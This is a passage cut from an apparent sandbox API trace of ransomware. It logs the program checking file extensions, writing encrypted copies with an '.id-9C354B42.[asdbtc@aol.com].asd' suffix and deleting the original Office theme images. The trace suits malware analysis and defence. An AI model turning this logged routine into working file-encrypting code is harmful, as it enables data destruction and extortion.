Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.378] lstrlenW (lpString=".zip") returned 4 [0055.378] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString=".rar") returned 4 [0055.378] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString=".bz2") returned 4 [0055.378] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.379] lstrlenW (lpString=".7z") returned 3 [0055.379] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.379] lstrlenW (lpString=".dbf") returned 4 [0055.379] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.379] lstrlenW (lpString=".1cd") returned 4 [0055.379] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.379] lstrlenW (lpString=".jpg") returned 4 [0055.379] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.379] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.379] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.380] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=4100) returned 1 [0055.380] CloseHandle (hObject=0x214) returned 1 [0055.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0055.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.380] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.380] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.392] GetLastError () returned 0x0 [0055.392] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x1004, lpOverlapped=0x0) returned 1 [0055.394] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x1010, lpOverlapped=0x0) returned 1 [0055.396] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0055.396] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.396] SetEndOfFile (hFile=0x220) returned 1 [0055.396] CloseHandle (hObject=0x220) returned 1 [0055.397] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.397] SetEndOfFile (hFile=0x214) returned 1 [0055.398] CloseHandle (hObject=0x214) returned 1 [0055.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.398] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0055.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.398] lstrlenW (lpString=".doc") returned 4 [0055.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.398] lstrlenW (lpString=".docx") returned 5 [0055.399] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.399] lstrlenW (lpString=".pdf") returned 4 [0055.399] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.399] lstrlenW (lpString=".xls") returned 4 [0055.399] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.399] lstrlenW (lpString=".xlsx") returned 5 [0055.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.399] lstrlenW (lpString=".ppt") returned 4 [0055.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.399] lstrlenW (lpString=".zip") returned 4 [0055.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.399] lstrlenW (lpString=".rar") returned 4 [0055.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.399] lstrlenW (lpString=".bz2") returned 4 [0055.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.399] lstrlenW (lpString=".7z") returned 3 [0055.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.399] lstrlenW (lpString=".dbf") returned 4 [0055.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.399] lstrlenW (lpString=".1cd") returned 4 [0055.399] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.399] lstrlenW (lpString=".jpg") returned 4 [0055.399] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.400] lstrlenW (lpString=".doc") returned 4 [0055.400] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.400] lstrlenW (lpString=".docx") returned 5 [0055.400] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.400] lstrlenW (lpString=".pdf") returned 4 [0055.400] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString=".xls") returned 4 [0055.400] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString=".xlsx") returned 5 [0055.400] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.400] lstrlenW (lpString=".ppt") returned 4 [0055.400] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.400] lstrlenW (lpString=".zip") returned 4 [0055.400] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString=".rar") returned 4 [0055.400] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.400] lstrlenW (lpString=".bz2") returned 4 [0055.400] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.400] lstrlenW (lpString=".7z") returned 3 [0055.400] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.400] lstrlenW (lpString=".dbf") returned 4 [0055.400] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.401] lstrlenW (lpString=".1cd") returned 4 [0055.401] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0055.401] lstrlenW (lpString=".jpg") returned 4 [0055.401] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.401] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.401] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.402] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=47962) returned 1 [0055.402] CloseHandle (hObject=0x214) returned 1 [0055.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0055.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.403] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.403] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.403] GetLastError () returned 0x0 [0055.403] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0055.407] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0055.409] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0055.409] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.409] SetEndOfFile (hFile=0x220) returned 1 [0055.409] CloseHandle (hObject=0x220) returned 1 [0055.409] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.409] SetEndOfFile (hFile=0x214) returned 1 [0055.411] CloseHandle (hObject=0x214) returned 1 [0055.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0055.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.411] lstrlenW (lpString=".doc") returned 4 [0055.411] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.411] lstrlenW (lpString=".docx") returned 5 [0055.412] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.412] lstrlenW (lpString=".pdf") returned 4 [0055.412] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.412] lstrlenW (lpString=".xls") returned 4 [0055.412] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.412] lstrlenW (lpString=".xlsx") returned 5 [0055.412] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.412] lstrlenW (lpString=".ppt") returned 4 [0055.412] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.412] lstrlenW (lpString=".zip") returned 4 [0055.412] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.412] lstrlenW (lpString=".rar") returned 4 [0055.412] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.412] lstrlenW (lpString=".bz2") returned 4 [0055.412] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.412] lstrlenW (lpString=".7z") returned 3 [0055.412] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.412] lstrlenW (lpString=".dbf") returned 4 [0055.412] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.412] lstrlenW (lpString=".1cd") returned 4 [0055.412] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.412] lstrlenW (lpString=".jpg") returned 4 [0055.413] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.413] lstrlenW (lpString=".doc") returned 4 [0055.413] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.413] lstrlenW (lpString=".docx") returned 5 [0055.413] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.413] lstrlenW (lpString=".pdf") returned 4 [0055.413] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.413] lstrlenW (lpString=".xls") returned 4 [0055.413] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.413] lstrlenW (lpString=".xlsx") returned 5 [0055.413] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.413] lstrlenW (lpString=".ppt") returned 4 [0055.413] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.413] lstrlenW (lpString=".zip") returned 4 [0055.413] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.413] lstrlenW (lpString=".rar") returned 4 [0055.413] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.413] lstrlenW (lpString=".bz2") returned 4 [0055.413] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.413] lstrlenW (lpString=".7z") returned 3 [0055.413] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.414] lstrlenW (lpString=".dbf") returned 4 [0055.414] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.414] lstrlenW (lpString=".1cd") returned 4 [0055.414] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0055.414] lstrlenW (lpString=".jpg") returned 4 [0055.414] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.414] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.414] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.415] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3611) returned 1 [0055.415] CloseHandle (hObject=0x214) returned 1 [0055.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0055.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.071] GetLastError () returned 0x0 [0056.071] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xe1b, lpOverlapped=0x0) returned 1 [0056.101] WriteFile (in: hFile=0x168, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe20, lpOverlapped=0x0) returned 1 [0056.504] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0056.517] WriteFile (in: hFile=0x168, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.517] SetEndOfFile (hFile=0x168) returned 1 [0056.518] CloseHandle (hObject=0x168) returned 1 [0056.518] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.518] SetEndOfFile (hFile=0x214) returned 1 [0056.519] CloseHandle (hObject=0x214) returned 1 [0056.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.520] lstrlenW (lpString=".doc") returned 4 [0056.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.520] lstrlenW (lpString=".docx") returned 5 [0056.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.520] lstrlenW (lpString=".pdf") returned 4 [0056.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.520] lstrlenW (lpString=".xls") returned 4 [0056.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.520] lstrlenW (lpString=".xlsx") returned 5 [0056.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.520] lstrlenW (lpString=".ppt") returned 4 [0056.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.520] lstrlenW (lpString=".zip") returned 4 [0056.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.520] lstrlenW (lpString=".rar") returned 4 [0056.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.520] lstrlenW (lpString=".bz2") returned 4 [0056.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.520] lstrlenW (lpString=".7z") returned 3 [0056.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString=".dbf") returned 4 [0056.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString=".1cd") returned 4 [0056.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString=".jpg") returned 4 [0056.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString=".doc") returned 4 [0056.521] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.521] lstrlenW (lpString=".docx") returned 5 [0056.521] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.521] lstrlenW (lpString=".pdf") returned 4 [0056.521] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString=".xls") returned 4 [0056.521] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString=".xlsx") returned 5 [0056.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.521] lstrlenW (lpString=".ppt") returned 4 [0056.521] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 